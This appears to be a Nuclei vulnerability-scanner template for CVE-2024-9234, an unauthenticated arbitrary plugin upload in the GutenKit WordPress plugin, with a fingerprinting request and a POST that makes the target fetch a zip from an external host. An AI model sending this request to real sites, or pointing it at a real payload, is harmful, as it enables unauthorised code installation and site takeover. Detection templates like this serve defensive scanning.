id: CVE-2024-9234

info:
  name: GutenKit <= 2.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9234
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9234
    cwe-id: CWE-862
    epss-score: 0.00045
    epss-percentile: 0.16482
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: gutenkit
    framework: wordpress
    fofa-query: body="wp-content/plugins/gutenkit-blocks-addon"
  tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive

variables:
  filename: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        plugin=http://{{interactsh-url}}/{{filename}}.zip

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Failed to unzip plugin", "success\":false")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402205e695df58cc1f7abe51a2add17cf2b01bced2286e07b698cb42d2fd64ab8a3a1022005b33f1ee32b24e24d8a892dc148297392251fda1959ea38a9a52e680d3b259d:922c64590222798bb761d5b6d8e72950